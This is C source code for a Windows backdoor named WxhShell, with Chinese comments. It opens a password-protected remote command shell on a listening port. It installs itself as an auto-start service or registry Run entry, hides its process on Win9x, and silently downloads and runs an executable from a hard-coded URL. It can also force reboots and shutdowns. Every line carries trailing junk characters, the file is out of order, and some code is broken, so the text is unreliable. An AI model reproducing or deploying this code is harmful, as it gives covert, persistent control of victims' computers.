    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kl(}s{YFn.  
    else { m;K Mr6sO  
    closesocket(wsh); aFyNm@a  
    ExitThread(0); *:BN LM  
    } 49/1#^T"Q>  
    break; dXe763~<  
    } d>@{!c-  
  // 获取shell .a;-7|x  
  case 's': { I #1_  
    CmdShell(wsh); 0Yfk/}5  
    closesocket(wsh); wLkHU"'   
    ExitThread(0); BAzc'x&<  
    break; Gg5vf]VFo  
  } & Radpb2p6  
  // 退出 FE M_7M  
  case 'x': { QHP^1W`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gJs~kQU  
    CloseIt(wsh); /RX7AXXB  
    break; (C6Y*Zm\  
    } ut3jIZ1]  
  // 离开 um&N|5lHb  
  case 'q': { A.35WGu&:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  gxU(&  
    closesocket(wsh); MAJvjgd ..  
    WSACleanup(); h2=zvD;  
    exit(1); Qksw+ZjY#{  
    break; ;1(OC-2>d  
        } DgClN:Hw  
  } HeSnj-mtr}  
  } 7T4rx53  
iW* 0V3  
  // 提示信息 FuEHO6nx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cTRCQ+W6:  
} pC5-,Z;8  
  } s Uj#:X  
w\$b(HC  
  return; \sp7[}Sw  
} Q=uwmg86  
-{7:^K[)  
// shell模块句柄 &hV;3";  
int CmdShell(SOCKET sock) `f6Qd2\  
{ dE ^(KBF  
STARTUPINFO si; ~Ja>x`5  
ZeroMemory(&si,sizeof(si)); jVfC4M7 ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YI%S)$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .~b6wi&n  
PROCESS_INFORMATION ProcessInfo; ffE%{B?  
char cmdline[]="cmd"; 61jDI^:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fF-V=Zf5  
  return 0; :^l*_v{  
} 2$T~(tem  
WY*}|R2R  
// 自身启动模式 =1\ 'xz}p?  
int StartFromService(void) ;=C^l  
{ fC~WuG 3  
typedef struct uVp R^  
{ K =7(=Y{  
  DWORD ExitStatus; 1$xt=*.u|  
  DWORD PebBaseAddress; *qz]vUb/0  
  DWORD AffinityMask; Ln`c DZSM  
  DWORD BasePriority; W_iP/xL  
  ULONG UniqueProcessId; >"`:w  
  ULONG InheritedFromUniqueProcessId; ]^ RgzK  
}   PROCESS_BASIC_INFORMATION; Nk=M  
d^lA52X6P  
PROCNTQSIP NtQueryInformationProcess; F},JP'\X  
RKj A`cJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @XmMD6{<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 78 UT]<Q;K  
J~c]9t  
  HANDLE             hProcess; <D&75C#  
  PROCESS_BASIC_INFORMATION pbi; ?d_<S0j-)  
aP"i_!\.aa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q07rWPM "e  
  if(NULL == hInst ) return 0; sM?DNE^BvW  
Y61E|:fV!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F." L{g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $&a`zffG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D_, 2z  
#m8Oy|Y9`  
  if (!NtQueryInformationProcess) return 0; .(`u'G=  
+A:}5{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZnmBb_eX  
  if(!hProcess) return 0; Ge97e/ CY  
/CX<k gz@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j?.VJ^Ff/u  
c*ytUI *  
  CloseHandle(hProcess); >6rPDzW`Dx  
HX<5i>]0\u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x&;{4F Nw  
if(hProcess==NULL) return 0; %ecg19~L/}  
_oLK" * [#  
HMODULE hMod; JH?[hb  
char procName[255]; d}WAP m  
unsigned long cbNeeded; re^1fv  
0} {QQB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H:~LL0Md%  
hPEK@  
  CloseHandle(hProcess); T1e}WJbFE  
DrB=   
if(strstr(procName,"services")) return 1; // 以服务启动 }O!LTD  
;OVJM qg  
  return 0; // 注册表启动 bfrBHW#  
} D.\p7 NJ  
-M/ny-; `}  
// 主模块 P+Hs6Q  
int StartWxhshell(LPSTR lpCmdLine) v,2{Vr  
{ E%40u.0  
  SOCKET wsl; {v2Q7ZO-  
BOOL val=TRUE; sRYFu%  
  int port=0; =o5hD,>e  
  struct sockaddr_in door; o#6j+fo!n  
`qr[0wM  
  if(wscfg.ws_autoins) Install(); 'zpj_QM  
5HJ6[.HO  
port=atoi(lpCmdLine); f+F /`P%  
wddF5EcK0  
if(port<=0) port=wscfg.ws_port; ? 8'4~1g`}  
"lUw{3  
  WSADATA data; AQ-PY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %=_ Iq\lC  
#_Tceq5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |EF*]qI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); * SC~_  
  door.sin_family = AF_INET; ))k^7g9M`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  /@%  
  door.sin_port = htons(port); w#-rl@JQ4  
1Z*-@%RX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WE=`8`Li  
closesocket(wsl); IY :iGn8R  
return 1; Ig S.U  
} /Nxy?g|,  
#t{?WkO[  
  if(listen(wsl,2) == INVALID_SOCKET) { 9C`Fd S   
closesocket(wsl); O5e9vQH  
return 1; Gn&)*qCO  
} <0Q`:'\.>  
  Wxhshell(wsl); UT>\u  
  WSACleanup(); O </<  
7@C :4c@0  
return 0; Grkj @Q*  
b-~Gt]%>m  
} 8$@gAlI^  
{{giSW'  
// 以NT服务方式启动 4Tq%V|5"&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Ax1?Nx$  
{ }`*]&I[P  
DWORD   status = 0; y"P$:l  
  DWORD   specificError = 0xfffffff; *4WOmsj  
L,\ Yj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f}#pKsX.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t7R;RF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P\w.:.2  
  serviceStatus.dwWin32ExitCode     = 0; jJg 'Y:K9q  
  serviceStatus.dwServiceSpecificExitCode = 0; HnU}Lhjzj  
  serviceStatus.dwCheckPoint       = 0; |-2,k#|  
  serviceStatus.dwWaitHint       = 0; l |\Q~ D!o  
_DH,$evS%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9\|3Gm_  
  if (hServiceStatusHandle==0) return; ]<{BDXIGIE  
a0y;c@pkO  
status = GetLastError(); 5\qoZs*e  
  if (status!=NO_ERROR) 1C'lT,twl  
{ hPhN7E03  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lSQANC'  
    serviceStatus.dwCheckPoint       = 0; ']4sx_)S  
    serviceStatus.dwWaitHint       = 0; {TlS)i`  
    serviceStatus.dwWin32ExitCode     = status; qhiQ!fMQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gu&zplB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {3`9A7bG  
    return; ")cdY) 14"  
  } {:'e H  
 27w]Q_C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8n1Sy7K!;  
  serviceStatus.dwCheckPoint       = 0; He&dVP  
  serviceStatus.dwWaitHint       = 0; idGM%Faur  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UB(Q &U_  
} |67<h5Q1  
aBol9`6  
// 处理NT服务事件,比如:启动、停止 u[ "Pg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -1Tws|4gc  
{ d;)Im "  
switch(fdwControl) O"_FfwO a  
{ *H:;pI WP  
case SERVICE_CONTROL_STOP: 4l>/6LNMF  
  serviceStatus.dwWin32ExitCode = 0; PNc^)|4^Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m {wMzsQ  
  serviceStatus.dwCheckPoint   = 0; obS|wTG~  
  serviceStatus.dwWaitHint     = 0; iK'bV<V&7  
  { S}ZM;M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }U%2)M  
  } jjEkz 5  
  return; ;o"}7'4*R%  
case SERVICE_CONTROL_PAUSE: O_(/uLH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [ @&  
  break; p@>_1A}qh_  
case SERVICE_CONTROL_CONTINUE: R\1#)3e0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H4Pj 3'  
  break; T%?<3 /Ev!  
case SERVICE_CONTROL_INTERROGATE: #![b9~%WTh  
  break; gb8nST$r  
}; >wz-p nD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o#H"tYP  
} WE68a!6  
Y <Ta2H  
// 标准应用程序主函数 WX]kez{<uP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*{\N^:z  
{ fg+Q7'*Vq  
Z!7#"wO9+V  
// 获取操作系统版本 8H3|^J  
OsIsNt=GetOsVer(); :Uj+iYE8Z8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W UDQb5k  
cYmMO[4YG'  
  // 从命令行安装 3($%AGKJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Y ~fPke  
|OhNQoTY  
  // 下载执行文件 doVBVTk^  
if(wscfg.ws_downexe) { O0';j!?X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BTgL:  
  WinExec(wscfg.ws_filenam,SW_HIDE); @T>)fKCg  
} \oLRNr[F  
b78'yM&  
if(!OsIsNt) { L:%; Fx2  
// 如果时win9x,隐藏进程并且设置为注册表启动 $kvF]|<bu  
HideProc(); Vb|DNl@  
StartWxhshell(lpCmdLine); ld$LG6[PA  
} Quc9lL  
else ,8cw jS2E  
  if(StartFromService()) fG2\p&z  
  // 以服务方式启动 N1zB; -0t  
  StartServiceCtrlDispatcher(DispatchTable); srO {Ci0  
else Tg)Fr)  
  // 普通方式启动 0:Yz'k5  
  StartWxhshell(lpCmdLine); c7L#f=Ot?  
>}43MxU?  
return 0; V[uB0#Lp  
} \y"!`.E7\d  
TOeJnk  
c+ Ejah+  
-Q<3Q_  
=========================================== ]?/[& PP,  
G! L=W#{  
 #/MUiV  
8s6[?=nM  
o_vK4%y(  
wVP{R3  
" w}K<,5I>  
`BdZqXKG  
#include <stdio.h> mc~d4<$`!  
#include <string.h> 218ZUg -a  
#include <windows.h> yf2U-s  
#include <winsock2.h> ]ta]OK{s"  
#include <winsvc.h> |j#x}8 [(  
#include <urlmon.h> w%GEOIj}  
.3 m^yo c/  
#pragma comment (lib, "Ws2_32.lib") ~^w;`~L  
#pragma comment (lib, "urlmon.lib") L'`W5B@  
aM,>LKNbQ  
#define MAX_USER   100 // 最大客户端连接数 GG/~)^VMe  
#define BUF_SOCK   200 // sock buffer 0<Vw0%!  
#define KEY_BUFF   255 // 输入 buffer @ {j'Pf'  
v@&&5J|  
#define REBOOT     0   // 重启 /<\>j+SC  
#define SHUTDOWN   1   // 关机 TGY^,H>J  
9@nX 6\ ,  
#define DEF_PORT   5000 // 监听端口 ZUVk~X3  
.zAB)rNc |  
#define REG_LEN     16   // 注册表键长度 H :}|UW  
#define SVC_LEN     80   // NT服务名长度 ;sT7c1X^!  
iL\<G} I  
// 从dll定义API V)^nVD)e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q>cLGdzO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #f5-f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2v0lWO~c7z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M@[{j  
!ANvXPp  
// wxhshell配置信息 _8)9I?jH  
struct WSCFG { Jk!}z+X'A  
  int ws_port;         // 监听端口 w4<RV:Vmt  
  char ws_passstr[REG_LEN]; // 口令 QHUoAa`6v  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z,.*!S=?h  
  char ws_regname[REG_LEN]; // 注册表键名 N J9H=  
  char ws_svcname[REG_LEN]; // 服务名 U~azI(1"W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CL5u{i5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,9^wKS!7$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $cHA_$ `  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w^sM,c5d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H1N_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B9`nV.a  
]7}2"?J4v  
}; k%?wNk>  
IKb 7#Ut  
// default Wxhshell configuration gm B?L0UV  
struct WSCFG wscfg={DEF_PORT, kep.+t[  
    "xuhuanlingzhe", ZY-W~p1:G  
    1, m*tmmP4R  
    "Wxhshell", y+\nj3v6  
    "Wxhshell", ymT&[+V  
            "WxhShell Service", GxL5yeN@(  
    "Wrsky Windows CmdShell Service", &uI`Xq.  
    "Please Input Your Password: ", /PN[g~3  
  1, !run3ip`Z  
  "http://www.wrsky.com/wxhshell.exe", ZP61T*n  
  "Wxhshell.exe" W6_/FkO  
    }; j4$XAq~W  
s"#>Xc  
// 消息定义模块 PXz,[<ET?#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ho9 a#9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 23 BzD^2a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >y#<WB$i  
char *msg_ws_ext="\n\rExit."; # kl?ww U  
char *msg_ws_end="\n\rQuit."; xG@zy4  
char *msg_ws_boot="\n\rReboot..."; 8Ih+^Y a  
char *msg_ws_poff="\n\rShutdown..."; ^5x\cR  
char *msg_ws_down="\n\rSave to "; Ufd{.o[{-  
(E )@@p7,:  
char *msg_ws_err="\n\rErr!"; _@wXh-nc  
char *msg_ws_ok="\n\rOK!"; `O ?61YUQH  
fx2r\ usX[  
char ExeFile[MAX_PATH]; O$ui:<]dS  
int nUser = 0; CKeT%3  
HANDLE handles[MAX_USER]; yPL1(i;  
int OsIsNt; J=|PZ2"  
E8j>Toz  
SERVICE_STATUS       serviceStatus; {0 d/;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gZF-zhnC  
$x#0m  
// 函数声明 Ugzq;}V#  
int Install(void); B%QvFxZz  
int Uninstall(void); \tH^w@j47  
int DownloadFile(char *sURL, SOCKET wsh); b7 %Z~  
int Boot(int flag); ]JF>a_2wG  
void HideProc(void); Ze_4MwC W  
int GetOsVer(void); 9bd$mp  
int Wxhshell(SOCKET wsl); ;DbEP.%u$  
void TalkWithClient(void *cs); aGY R:jR$  
int CmdShell(SOCKET sock); IGqg,OEAp  
int StartFromService(void); L ldZ"%P  
int StartWxhshell(LPSTR lpCmdLine); _3v6c  
}xXUCU<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |#G.2hMFr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]/&qv6D*d  
} wZ9#Ll  
// 数据结构和表定义 I(!i"b9  
SERVICE_TABLE_ENTRY DispatchTable[] = n?'I&0>M  
{ 1 ~ fD:  
{wscfg.ws_svcname, NTServiceMain}, IJ >qs8  
{NULL, NULL} 6z (7l  
}; %<c2jvn+k  
;Qe-y|>  
// 自我安装 @$o.Z;83`r  
int Install(void) OI:G~Wg  
{ N 0<([B;  
  char svExeFile[MAX_PATH]; +ZOjbI)  
  HKEY key; IqEE.XhaK  
  strcpy(svExeFile,ExeFile); x -CTMKX  
pK/r{/>r  
// 如果是win9x系统,修改注册表设为自启动 5,Rxc=  
if(!OsIsNt) { "QCtF55X&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {"f4oK{w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r2dU>U*:4  
  RegCloseKey(key); j~DTvWg<Jl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vZhC_G+tGd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?w/i;pp<,  
  RegCloseKey(key); Jkf%k3H3I*  
  return 0; %0-fn'  
    } e3T&KyPm?+  
  } ,_+Gb  
} OGA_3|[S   
else {  al#BfcZW  
OO$YwOKS  
// 如果是NT以上系统,安装为系统服务 >aw`kr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |j2b=0Rpk  
if (schSCManager!=0) hD)'bd  
{ MZ$x(Vcj  
  SC_HANDLE schService = CreateService LpV2XL$p>#  
  ( D5Z@6RVt  
  schSCManager, p"'knZ G  
  wscfg.ws_svcname, 8D]&wBR:  
  wscfg.ws_svcdisp, `#g62wb,HY  
  SERVICE_ALL_ACCESS, >_3P6-L>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3P, ul*e  
  SERVICE_AUTO_START, |!Uul0O  
  SERVICE_ERROR_NORMAL, $l W 7me  
  svExeFile, iNO}</7?  
  NULL, OTy{:ID  
  NULL, ":I@>t{H*  
  NULL, P* Z1Rs_  
  NULL, JK jVrx> @  
  NULL *#y9P ve  
  ); f*%Y]XL;%  
  if (schService!=0) Hoj'zY  
  { yhPO$L  
  CloseServiceHandle(schService); xGkc_  
  CloseServiceHandle(schSCManager); 6d;_}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4{v?<x8  
  strcat(svExeFile,wscfg.ws_svcname); !_P-?u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +|K/*VVn`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U,g)N[|  
  RegCloseKey(key); S%Bm4jY  
  return 0; y$,j'B:;4m  
    } ~@ H9h<T  
  } eaWK2%v  
  CloseServiceHandle(schSCManager); hY(q@_s  
} ^[=1J  
} j>I.d+   
yhsbso,5 a  
return 1; o4qB0h  
} 4#Rq}/h  
cT.8&EEW  
// 自我卸载 6j6P&[  
int Uninstall(void) m\"X%Y#  
{ )VM'^sV?  
  HKEY key; JTS<n4<a  
] <y3;T\~  
if(!OsIsNt) { /4Sul*{hc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _08y; _S  
  RegDeleteValue(key,wscfg.ws_regname); &eIwlynm  
  RegCloseKey(key); Y![//tg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~E3"s  
  RegDeleteValue(key,wscfg.ws_regname); btDPP k'  
  RegCloseKey(key);  0N`'a?x  
  return 0; nK>D& S_!  
  } r34 GO1d  
} FV>xAU$  
} 'Im&&uSkr  
else { gMB/ ~g5b0  
G&\!!i|IQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FZ@8&T   
if (schSCManager!=0) LT:*K!>NOL  
{ 'qlWDt/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n1@ Or=5  
  if (schService!=0) Y^ ti;:  
  { 39Zs  
  if(DeleteService(schService)!=0) { e*/ya8p?  
  CloseServiceHandle(schService); G}0fk]%\:  
  CloseServiceHandle(schSCManager); 3=Va0}#&  
  return 0; 0qk.NPMB0  
  } 9 ?(P?H  
  CloseServiceHandle(schService); Sp~gY]:  
  } }< m@82\  
  CloseServiceHandle(schSCManager); zE_t(B(Q  
} gLQbA$gB  
} P#x]3j]  
yL%k5cO$N  
return 1; }c;h:CE#  
} bl-t>aO*.V  
("rIz8b  
// 从指定url下载文件 ~8^)[n+)x  
int DownloadFile(char *sURL, SOCKET wsh) * ~4m!U_s  
{ -"X} )N2  
  HRESULT hr; Rss=ihlM  
char seps[]= "/";  !#Hca  
char *token; i#~1|2  
char *file; #2!M+S  
char myURL[MAX_PATH]; {@u}-6:wAT  
char myFILE[MAX_PATH]; m 5NF)eL  
;,h*s, i  
strcpy(myURL,sURL); IBzHXa>75  
  token=strtok(myURL,seps); ptmPO4f  
  while(token!=NULL) Ueyt}44.e2  
  { Q nqU!6k@  
    file=token; +C)auzY7N  
  token=strtok(NULL,seps); =`X ;fz  
  } )LYj,do  
JpD YB  
GetCurrentDirectory(MAX_PATH,myFILE); <tF]>(|M  
strcat(myFILE, "\\"); A{6ZEQAh>  
strcat(myFILE, file); Lp ]d4"L;3  
  send(wsh,myFILE,strlen(myFILE),0); }UGPEf\  
send(wsh,"...",3,0); "-xC59,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1|gP :t}  
  if(hr==S_OK) >; W)tc,  
return 0; Tz*5;y%4  
else 7OWiG,  
return 1; >uuX<\cW  
n1ED _9  
} 2tr2:PB`  
iqoPD4A  
// 系统电源模块 d,QJf\fc"  
int Boot(int flag) A:NY:#uC  
{ Dea;9O  
  HANDLE hToken; Xj-3C[ 8@  
  TOKEN_PRIVILEGES tkp; @W @L%<  
B)-S@.u  
  if(OsIsNt) { 5%>U.X?i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lpp'.HTP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); So8P 8TCK  
    tkp.PrivilegeCount = 1; sJ?kp^!g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zwt!nh   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <K0lS;@K  
if(flag==REBOOT) { MYx*W7X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( ~OwO_|3  
  return 0; U=yD!  
} wk/->Rz  
else { cu"%>>,,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /d=$,q1  
  return 0; 2~@=ua[|=5  
} AHA*yC  
  } 14&EdTG.  
  else { aH$~':[93  
if(flag==REBOOT) { sooh yK8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vK{K#{  
  return 0; 0PfFli`2;  
} CeJ|z {F\  
else { uJO*aA{K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f6"j-IW[z  
  return 0; ES~]rPVS  
} 5a`}DTB[Co  
} btY Pp0o~  
S3<v?tqLr  
return 1; Mm;)O'XDE  
} zXD@M{  
vuZ<'?Nm  
// win9x进程隐藏模块 1=X=jPwO C  
void HideProc(void)  4{?x(~  
{ 4_Jdh48-d  
L$xRn/\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); } :mI6zsNj  
  if ( hKernel != NULL ) 5^dw!^d  
  { 1fy{@j(W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cTnbI4S;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f+6l0@K2  
    FreeLibrary(hKernel); uS'ji k}  
  } |$t0cd  
LTe7f8A  
return; H1[aNwLr  
} agYK aM1N  
`O{Uz?#*x  
// 获取操作系统版本 ASvPr*q/  
int GetOsVer(void) [1C#[Vla  
{ &J b.OCf  
  OSVERSIONINFO winfo; ; ]Aa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;$QJnQ"R  
  GetVersionEx(&winfo); %\cC]<>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o FLrSmY)E  
  return 1; Lvq]SzOw  
  else c)8wO=!  
  return 0; h+UscdU l  
} )US/bC!M$  
.F2nF8  
// 客户端句柄模块 uKy*N*}  
int Wxhshell(SOCKET wsl) ib_Gy77Os  
{ {*<C!Qg  
  SOCKET wsh; 1Ol]^ 'y7)  
  struct sockaddr_in client; _6!/}Fm  
  DWORD myID; shT[|@"C  
_,FoXf7  
  while(nUser<MAX_USER) dSVu_*y  
{ ogqV]36Idh  
  int nSize=sizeof(client); LG#w/).^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]$*{<  
  if(wsh==INVALID_SOCKET) return 1; +^? -}v  
{*;]I?9Al  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'w[d^L   
if(handles[nUser]==0) {@5WeWlz~  
  closesocket(wsh); \GvY`kt3  
else !rg0U<bO!  
  nUser++; _c8.muQ<  
  } XDk o{jEJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 jP00   
kA%OF*%|6  
  return 0; >J3ja>Gw/  
} BhW]Oq&  
f WjS)  
// 关闭 socket P9"D[uz  
void CloseIt(SOCKET wsh) (4ci=*3=  
{ NzAtdcwR  
closesocket(wsh); NB5L{Gf6-  
nUser--; |M<.O~|D6}  
ExitThread(0); ZqbM%(=z(`  
} ru/zLj:  
/P!X4~sTM  
// 客户端请求句柄 V87ee,  
void TalkWithClient(void *cs) t+!gzZ  
{ B N*,!fx  
39T&c85  
  SOCKET wsh=(SOCKET)cs; |<3Q+EB^  
  char pwd[SVC_LEN]; b6!Q!:GO&  
  char cmd[KEY_BUFF]; r,.95@  
char chr[1]; ?X_0Iy}1  
int i,j; DAMpR3  
*T>#zR{  
  while (nUser < MAX_USER) { ADyNNMcx  
!v5sWVVR  
if(wscfg.ws_passstr) { O5TK&j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dVVvG]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lYZ@a4TA  
  //ZeroMemory(pwd,KEY_BUFF); c(Uj'uLc  
      i=0; N}+B:l]Qy  
  while(i<SVC_LEN) { >|_gT%]5  
RRI>bh]  
  // 设置超时 nF. ;LM  
  fd_set FdRead; U| 41u4)D  
  struct timeval TimeOut; @}&,W N%  
  FD_ZERO(&FdRead); U= c5zrs  
  FD_SET(wsh,&FdRead); r\l3_t  
  TimeOut.tv_sec=8; Pa +AF  
  TimeOut.tv_usec=0; %|`:5s-T%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )WP]{ W)r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f#;ubfi"z  
hpqHllL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~4=]%XYz  
  pwd=chr[0]; M5T=Fj86  
  if(chr[0]==0xd || chr[0]==0xa) { Lem\UD$D`  
  pwd=0; q*F~~J!P  
  break; kH>vD = q>  
  } taWirq d9  
  i++; r|\5'ZMx  
    } ?b*/ddIs  
5A2Y'ms,/  
  // 如果是非法用户,关闭 socket o7c%\v[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _:ZFCDO  
} Yn IM-  
1kvPiV=X>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b[{m>Fa+o#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j{Yt70Wv  
fH#F"^ A  
while(1) { 3D?IG\3  
a!c/5)v(  
  ZeroMemory(cmd,KEY_BUFF); 7~!I2DV_  
K)Df}fVOc  
      // 自动支持客户端 telnet标准   27Kc -rcB  
  j=0; 3t"~F%4-}  
  while(j<KEY_BUFF) { @7Q*h   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P|unUW(P  
  cmd[j]=chr[0]; Dh\S`nfFq  
  if(chr[0]==0xa || chr[0]==0xd) { SE-!|WR  
  cmd[j]=0; Q'Uv5p"X  
  break; zm_8{Rta}  
  } >.H}(!  
  j++; y5?kv-"c  
    } s=1k9   
9JeT1\VvHY  
  // 下载文件 :.f( }sCS  
  if(strstr(cmd,"http://")) { di ]CYLf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +i}uRO  
  if(DownloadFile(cmd,wsh)) 6BZi4:PDx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? :A%$T  
  else QtcYFf g  
